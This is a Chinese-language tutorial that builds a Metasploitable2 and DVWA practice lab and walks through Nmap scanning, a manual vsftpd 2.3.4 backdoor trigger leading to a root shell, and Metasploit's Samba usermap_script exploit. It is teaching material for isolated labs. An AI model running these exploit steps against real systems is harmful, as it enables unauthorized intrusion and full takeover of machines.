Metasploitable2渗透测试实战:从环境搭建到漏洞利用

发布时间:2026/7/18 9:22:53
Metasploitable2渗透测试实战:从环境搭建到漏洞利用 1. 项目概述与核心价值如果你刚接触网络安全或者想找一个能让你“合法开火”的实战环境Metasploitable2绝对是你绕不开的经典。它不是一个需要你小心翼翼配置的普通虚拟机而是一个被故意“搞坏”的、预置了数十个已知漏洞的Linux系统。你可以把它理解为一个网络安全领域的“沙袋”专门用来练习渗透测试的各种拳法从信息搜集、漏洞扫描到漏洞利用和权限提升一整套流程都能在上面跑通。而DVWADamn Vulnerable Web Application则是它内部一个同样经典的Web漏洞靶场专门用来练习SQL注入、XSS、文件上传等Web安全技能。我之所以推荐从它开始是因为它解决了新手最大的痛点去哪里找一个安全的、合法的、且漏洞丰富的目标来练手自己搭建环境太耗时直接拿互联网上的真实系统测试又违法。Metasploitable2的出现完美地填补了这个空白。它把所有漏洞都打包好放在一个封闭的虚拟环境里你只需要一台电脑和VMware/VirtualBox这类虚拟机软件就能立刻拥有一个完整的攻防实验室。本次指南我将带你从零开始完成Metasploitable2的下载、虚拟机配置、网络设置并重点演示如何利用Kali Linux对其发起一次基础的渗透测试最后还会详细讲解内置DVWA的配置与初步使用。整个过程我会穿插我踩过的坑和总结出的技巧确保你能一次成功并理解每一步背后的逻辑。2. 环境准备与虚拟机部署2.1 虚拟化平台选择与准备工欲善其事必先利其器。选择一个稳定可靠的虚拟化平台是第一步。主流选择有两个VMware Workstation Pro或免费的VMware Player和Oracle VirtualBox。从我多年的使用经验来看VMware在性能和网络模拟的稳定性上通常更胜一筹特别是涉及到复杂的NAT、主机模式网络配置时VMware出问题的概率更低。VirtualBox的优势在于完全免费且开源对于预算有限的个人学习者是不错的选择。本次演示我将以VMware Workstation 17 Pro为例但核心步骤在VirtualBox上也是相通的。在安装VMware之前请务必确认你的主机你的物理电脑已经开启了CPU的虚拟化支持。这个功能通常在BIOS/UEFI设置中名为“Intel Virtualization Technology (VT-x)”或“AMD-V”。如果没有开启虚拟机性能会极差甚至无法启动64位系统。开启方法因电脑品牌而异一般在开机时按F2、F10或Del键进入BIOS进行设置。注意网上流传的所谓“VMware虚拟机许可证密钥”或“免费版”通常指VMware Workstation Player它是Workstation Pro的功能简化版但对于运行Metasploitable2和Kali来说完全够用。请从VMware官网下载正版避免使用来路不明的破解版以防捆绑恶意软件。2.2 Metasploitable2镜像下载与验证Metasploitable2的官方镜像可以从Vulnhub等知名安全社区获取。这里有一个关键点务必从可信源下载并验证文件完整性。因为这是一个充满漏洞的系统如果镜像被第三方篡改植入后门那你的练习环境本身就变得不安全了。下载访问Vulnhub的Metasploitable2页面下载其OVAOpen Virtualization Appliance格式的文件。OVA是一种开放的虚拟机打包格式VMware和VirtualBox都能直接导入比处理单独的vmdk磁盘文件方便得多。文件大小大约在800MB左右。验证强烈建议下载完成后核对文件的MD5或SHA256哈希值是否与官方页面提供的一致。在Windows上你可以使用命令行工具certutil -hashfile Metasploitable2.ova MD5来计算。这一步能确保你下载的文件在传输过程中没有损坏且未被篡改。2.3 虚拟机导入与基础配置拿到OVA文件后部署就非常简单了。导入虚拟机打开VMware Workstation点击“文件”-“打开”选择你下载的.ova文件。VMware会弹出一个导入向导显示虚拟机的名称和存储路径。这里我建议你修改一下存储位置不要放在默认的C盘以免占用系统盘空间。虚拟机的名称可以保持默认“Metasploitable2”。关键配置调整导入完成后先不要急着启动。右键点击新导入的虚拟机选择“设置”。内存Metasploitable2基于Ubuntu 8.04非常轻量分配512MB内存绰绰有余甚至256MB也能跑。我通常给1GB让系统更流畅。处理器分配1个CPU核心即可。网络适配器这是最重要的一步选择“NAT模式”。为什么是NATNAT模式下虚拟机会共享主机的IP地址上网并且虚拟机之间比如你的Kali和Metasploitable2可以互相通信但外部网络无法直接访问虚拟机。这为我们创造了一个封闭、安全的实验环境。相比之下“桥接模式”会让虚拟机像一台真实设备一样接入你的局域网存在被同一局域网内其他设备扫描甚至攻击的微小风险虽然概率低但作为安全从业者养成隔离实验环境的习惯很重要。启动与登录配置完成后启动虚拟机。你会看到经典的Linux登录界面。Metasploitable2的默认登录凭证是用户名msfadmin密码msfadmin成功登录后你可以用ifconfig命令查看虚拟机获取到的IP地址通常是192.168.xxx.xxx网段记下它比如192.168.111.128后续渗透测试会用到。3. 网络拓扑设计与Kali Linux联动3.1 构建封闭的攻防实验网络一个完整的渗透测试环境至少需要两个角色攻击机Attacker和靶机Target。我们刚刚搭建好的Metasploitable2就是靶机。现在需要攻击机而Kali Linux无疑是首选。它预装了数百种安全工具是渗透测试的“瑞士军刀”。安装Kali Linux虚拟机同样你可以从Kali官网下载OVA或ISO镜像在VMware中新建虚拟机进行安装。安装过程与普通Linux类似建议分配至少2GB内存和20GB磁盘空间。安装时网络也务必设置为“NAT模式”。验证网络连通性启动Kali Linux和Metasploitable2。在Kali中打开终端使用ping命令测试是否能通靶机的IP地址。ping -c 4 192.168.111.128如果收到回复恭喜你一个最基础的“攻击机-靶机”单向网络已经打通。如果ping不通请检查两台虚拟机是否都在运行。两台虚拟机的网络适配器是否都设置为“NAT模式”确保它们在同一个VMware虚拟网络里。尝试关闭两台虚拟机的防火墙对于实验环境可以这么做。在Metasploitable2上可以尝试sudo ufw disable如果安装了ufw。这个简单的NAT网络拓扑确保了你的攻击行为被限制在主机内部的虚拟网络中不会影响到你的真实家庭或公司网络完全合法且安全。3.2 常见网络问题排查实录即便按照步骤操作有时也会遇到网络问题。这里记录几个我反复遇到的坑及其解决方案问题一Kali能ping通主机但ping不通Metasploitable2反之亦然。排查思路这通常是VMware虚拟网络配置问题。在VMware菜单栏点击“编辑”-“虚拟网络编辑器”。解决方案确保你使用的NAT模式对应的虚拟网络通常是VMnet8是“已连接”状态。更彻底的方法是将两台虚拟机的网络适配器先都移除然后重新添加并确保连接到同一个网络如VMnet8。有时候VMware的虚拟网络服务可能异常重启VMware的相关服务或主机电脑也能解决。问题二虚拟机启动后提示“虚拟机监控程序功能对该用户不可用”或“VMware Workstation 无法连接到虚拟机”。排查思路这通常与主机系统的Hyper-V、Windows沙盒、Windows Defender Credential Guard等基于虚拟化的安全功能冲突。解决方案以管理员身份打开Windows PowerShell或命令提示符。运行命令禁用Hyper-Vbcdedit /set hypervisorlaunchtype off运行命令禁用Windows沙盒和Credential Guard如果启用bcdedit /set vm-launchtype off重启主机。这是必须的步骤。重启后再尝试打开VMware和虚拟机。问题三虚拟机运行极其卡顿。排查思路除了检查主机资源是否充足内存、CPU一个常见原因是虚拟机磁盘文件碎片化或运行在机械硬盘上。解决方案如果可能将虚拟机文件存放在SSD硬盘上。在VMware设置中为虚拟机分配更多内存。关闭虚拟机不必要的视觉效果对于Metasploitable2可以关闭图形界面直接用终端操作。4. 信息搜集与漏洞扫描实战环境就绪真正的渗透测试从信息搜集开始。记住一次成功的渗透70%的功劳在于细致的信息搜集。盲目攻击就像蒙着眼睛扔飞镖。4.1 基础信息搜集端口与服务发现我们首先需要知道靶机上开放了哪些门端口门后运行着什么服务服务及版本。在Kali Linux中我们使用神器Nmap。nmap -sV -sC -O -p- 192.168.111.128-sV: 探测服务版本。知道服务及其具体版本号是寻找对应漏洞的关键。-sC: 使用默认的Nmap脚本进行更深入的探测可能会发现一些默认配置漏洞。-O: 尝试识别靶机的操作系统。-p-: 扫描所有65535个端口。Metasploitable2开了很多非常用端口的服务这个参数很重要。扫描完成后你会看到一长串结果。Metasploitable2会开放大量端口例如21/tcp: FTP服务 (vsftpd 2.3.4) —注意这个版本22/tcp: SSH服务 (OpenSSH 4.7p1)23/tcp: Telnet服务80/tcp: HTTP服务 (Apache 2.2.8) — 这就是运行DVWA和其他Web应用的端口。443/tcp: HTTPS服务445/tcp: SMB服务 (Samba 3.x) — Windows文件共享协议在Linux上的实现。3306/tcp: MySQL数据库5432/tcp: PostgreSQL数据库6667/tcp: IRC服务 (UnrealIRCd) — 又一个有历史漏洞的服务。这个列表本身就是一份“漏洞菜单”。每一个老旧的服务版本都可能对应着一个或多个已知的公开漏洞。4.2 漏洞扫描与初步分析有了具体的服务版本信息我们就可以进行针对性的漏洞扫描。这里可以手动搜索也可以使用自动化工具。我推荐结合使用手动搜索培养感觉拿着“vsftpd 2.3.4”去搜索引擎或漏洞库如Exploit-DB, CVE Details搜索。你会立刻发现vsftpd 2.3.4存在一个著名的后门漏洞CVE-2011-2523。攻击者可以通过特定方式触发一个后门直接获取root权限。这就是信息搜集的价值。自动化扫描提高效率在Kali中我们可以使用nmap的漏洞脚本引擎NSE或者专门的漏洞扫描器如nikto针对Web和nessus商业功能强大。例如针对Web服务nikto -h http://192.168.111.128这个命令会快速扫描靶机80端口上的Web应用列出发现的潜在问题如过时的服务器软件、可列出的目录、默认文件等。实操心得不要完全依赖自动化工具。自动化工具会产生大量结果其中包含许多误报False Positive或低风险项目。一个有经验的分析师会从Nmap的-sV结果中快速定位那些版本号非常老旧、在安全社区广为人知存在漏洞的服务作为优先攻击目标。比如上面的vsftpd 2.3.4、OpenSSH 4.7p1、Apache 2.2.8都是十多年前的版本漏洞百出。5. 漏洞利用与权限提升演示我们选择两个最具代表性的漏洞进行实战演示一个是前面提到的vsftpd后门漏洞另一个是Samba的远程命令执行漏洞。这两个漏洞利用起来相对简单能直观展示从漏洞发现到获取系统权限的全过程。5.1 利用vsftpd 2.3.4后门获取Shell连接FTP服务在Kali终端使用telnet或ncnetcat连接靶机的21端口。nc -nv 192.168.111.128 21触发后门在FTP服务提示输入用户名时输入一个精心构造的包含“:)”字符的字符串。这个“:)”就是触发后门的“魔法”。220 (vsFTPd 2.3.4) USER msfadmin:)注意这里不是输入密码而是在用户名后面加上:)。如果后门存在服务会卡住或返回一个特殊的响应。连接后门端口该后门会在6200端口打开一个监听shell。我们另开一个Kali终端连接这个端口。nc -nv 192.168.111.128 6200获取权限成功连接后你会直接获得一个具有root权限的shell可以执行id或whoami命令确认。id # 输出uid0(root) gid0(root)至此你已经完全控制了这台靶机。这个过程展示了“漏洞利用”的威力一个简单的、已知的漏洞可以瞬间绕过所有认证拿到最高权限。5.2 利用Samba “username map script”漏洞Metasploitable2上的Samba服务端口445配置存在一个严重错误允许远程用户通过用户名映射脚本执行任意命令。使用Metasploit框架Kali内置了Metasploit这是最强大的渗透测试框架。我们打开它msfconsole搜索并利用漏洞模块在msf提示符下search samba 3.x # 会列出多个相关模块我们选择其中一个经典的exploit use exploit/multi/samba/usermap_script set RHOSTS 192.168.111.128 exploit获取Shell如果目标存在该漏洞Metasploit会自动完成利用过程并为你返回一个Meterpreter会话。Meterpreter是一个功能强大的后渗透工具比普通的shell更好用。在这个会话里你可以执行各种命令如sysinfo查看系统信息shell进入一个标准shell。注意事项在实际渗透测试中获取一个初始shell可能是普通用户权限往往只是开始。我们需要进行“权限提升”Privilege Escalation将权限从普通用户提升到root。在Metasploitable2上由于我们刚才利用vsftpd漏洞直接拿到了root这一步跳过了。但在真实场景或其他靶机如Vulnhub上的DC系列中提权是必经之路涉及内核漏洞利用、SUID文件滥用、环境变量劫持等多种技术。6. DVWA靶场配置与初步使用Metasploitable2已经预装了DVWA但首次访问需要一些简单配置。访问DVWA在Kali的浏览器中输入http://192.168.111.128/dvwa/。你会看到一个报错页面提示PHP function allow_url_include is disabled。修改PHP配置我们需要登录Metasploitable2用之前得到的root shell修改PHP配置文件。# 在Metasploitable2的shell中 nano /etc/php5/cgi/php.ini找到allow_url_include这一行将其值从Off改为On。 同样找到allow_url_fopen也确保是On。 保存并退出CtrlX然后按Y确认。重启Web服务为了让配置生效重启Apache。sudo /etc/init.d/apache2 restart踩坑记录Metasploitable2上的Apache可能用了不同的管理脚本如果上述命令无效可以尝试sudo service apache2 restart。登录DVWA刷新Kali中的DVWA页面。现在你应该能看到登录界面。默认凭证是用户名admin密码password初始化数据库首次登录后页面会提示你“Setup / Reset Database”。点击这个按钮DVWA会为自己创建所需的数据库和表。完成后页面自动跳转到主界面。设置安全等级在DVWA左侧菜单点击“DVWA Security”。你可以在这里设置安全级别从“Low”、“Medium”、“High”到“Impossible”。建议从“Low”开始这样所有漏洞都是完全暴露的方便你理解漏洞原理。随着技能提升再挑战更高级别看看防护机制如何生效。现在你就可以在“SQL Injection”、“Command Injection”、“File Upload”、“XSS”等模块进行练习了。每个模块都提供了前端的漏洞输入点和后端的源代码非常适合对比学习攻击载荷和防御代码。7. 渗透测试后的清理与反思一次完整的渗透测试练习不仅包括攻击还包括清理痕迹和总结。虽然Metasploitable2是靶机但养成好习惯很重要。清理痕迹如果你通过漏洞添加了用户、上传了文件或修改了系统日志练习结束后应该将其还原。对于Metasploitable2最简单彻底的方法是恢复虚拟机快照。在攻击前为虚拟机创建一个干净状态的快照练习完成后一键还原即可。总结报告模拟真实工作整理你的发现。可以包括目标信息IP 开放端口 服务版本发现的漏洞列表vsftpd后门、Samba配置漏洞等每个漏洞附上风险等级高、中、低和简要描述。漏洞利用步骤简述。获取的权限级别如root shell。建议的修复措施如升级vsftpd、修改Samba配置。拓展学习Metasploitable2的漏洞远不止我们演示的这些。你可以尝试利用UnrealIRCd的漏洞。对MySQL或PostgreSQL进行弱口令爆破。尝试对DVWA的“Impossible”级别进行挑战理解真正的安全代码如何编写。使用更多工具如hydra进行密码爆破sqlmap自动化进行SQL注入测试等。最后记住核心原则所有技术都只在你自己拥有或获得明确授权的环境中使用。Metasploitable2这样的靶机为你提供了绝佳的、合法的练兵场。通过反复搭建、攻击、分析、总结你将深刻理解攻击者的思路和防御者的关键点这才是学习渗透测试最扎实的路径。